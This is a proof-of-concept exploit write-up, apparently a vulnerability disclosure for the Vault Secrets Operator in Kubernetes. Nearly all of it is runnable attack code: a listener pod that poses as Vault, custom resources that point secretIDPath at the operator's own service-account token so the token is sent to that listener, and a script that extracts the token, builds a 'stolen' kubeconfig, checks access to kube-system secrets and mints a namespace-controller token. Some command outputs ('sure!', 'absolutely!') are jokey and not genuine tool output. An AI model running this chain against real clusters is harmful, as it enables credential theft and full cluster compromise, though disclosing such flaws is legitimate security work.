The Vault Secrets Operator sends its own secret with access to every Secret

// api/v1beta1/common.go:136
func validatePath(path string) (string, error) {
	if strings.Contains(path, "..") {
		return "", fmt.Errorf("invalid path: path traversal detected")
	}
	cleanPath := filepath.Clean(path)
	// ... ".." checked again after Clean, then IsAbs, os.Stat, IsRegular, 1MB cap
}

apiVersion: v1
kind: Pod
metadata:
  name: listener
  namespace: tenant
  labels:
    app: listener
spec:
  containers:
  - name: listener
    image: python:3.12-slim
    command: ["python3", "-u", "-c"]
    args:
    - |
        import http.server, socketserver
        class H(http.server.BaseHTTPRequestHandler):
            def _h(self):
                n = int(self.headers.get('Content-Length','0') or 0)
                body = self.rfile.read(n) if n else b''
                print("=== %s %s ===" % (self.command, self.path), flush=True)
                print("BODY %s" % body.decode('utf-8','replace'), flush=True)
                resp = b'{"auth":{"client_token":"hvs.poc","lease_duration":60,"renewable":false}}'
                self.send_response(200)
                self.send_header('Content-Type','application/json')
                self.send_header('Content-Length', str(len(resp)))
                self.end_headers()
                self.wfile.write(resp)
            do_GET = do_POST = do_PUT = do_DELETE = do_OPTIONS = do_HEAD = _h
        socketserver.TCPServer.allow_reuse_address = True
        socketserver.TCPServer(("0.0.0.0", 8200), H).serve_forever()
    ports:
    - containerPort: 8200

kubectl --kubeconfig=./kubeconfig-tenant apply -f listener.yaml

kubectl --kubeconfig=./kubeconfig-tenant -n tenant expose pod listener --port=8200 --target-port=8200
kubectl --kubeconfig=./kubeconfig-tenant -n tenant wait --for=condition=Ready pod/listener --timeout=120s

apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultConnection
metadata:
  name: poc
  namespace: tenant
spec:
  address: http://listener.tenant.svc:8200
  skipTLSVerify: true
---
apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultAuth
metadata:
  name: poc
  namespace: tenant
spec:
  vaultConnectionRef: poc
  method: appRole
  mount: poc
  appRole:
    roleId: poc
    secretIDPath: /var/run/secrets/kubernetes.io/serviceaccount/token
---
apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultStaticSecret
metadata:
  name: poc
  namespace: tenant
spec:
  vaultAuthRef: poc
  mount: secret
  type: kv-v2
  path: poc
  refreshAfter: 10s
  destination:
    name: poc-dest
    create: true

kubectl --kubeconfig=./kubeconfig-tenant create -f vso-poc.yaml

sleep 15

STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant logs listener | grep -ao '"secret_id":"eyJ[^"]*"' | head -1 | sed 's/.*"secret_id":"//; s/"$//')

cat > kubeconfig-stolen <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
  cluster:
    server: ${SERVER}
    certificate-authority-data: ${CA}
contexts:
- name: stolen
  context:
    cluster: kind
    user: stolen
current-context: stolen
users:
- name: stolen
  user:
    token: ${STOLEN}
EOF

kubectl --kubeconfig=./kubeconfig-stolen auth whoami
# system:serviceaccount:vault-secrets-operator-system:vault-secrets-operator-controller-manager

kubectl --kubeconfig=./kubeconfig-stolen -n kube-system auth can-i get secret
# sure!

kubectl --kubeconfig=./kubeconfig-stolen -n kube-system auth can-i get serviceaccounts
# of course!

kubectl --kubeconfig=./kubeconfig-stolen auth can-i create serviceaccounts/token
# absolutely!

STOLEN_SA_TOKEN=$(kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create token namespace-controller)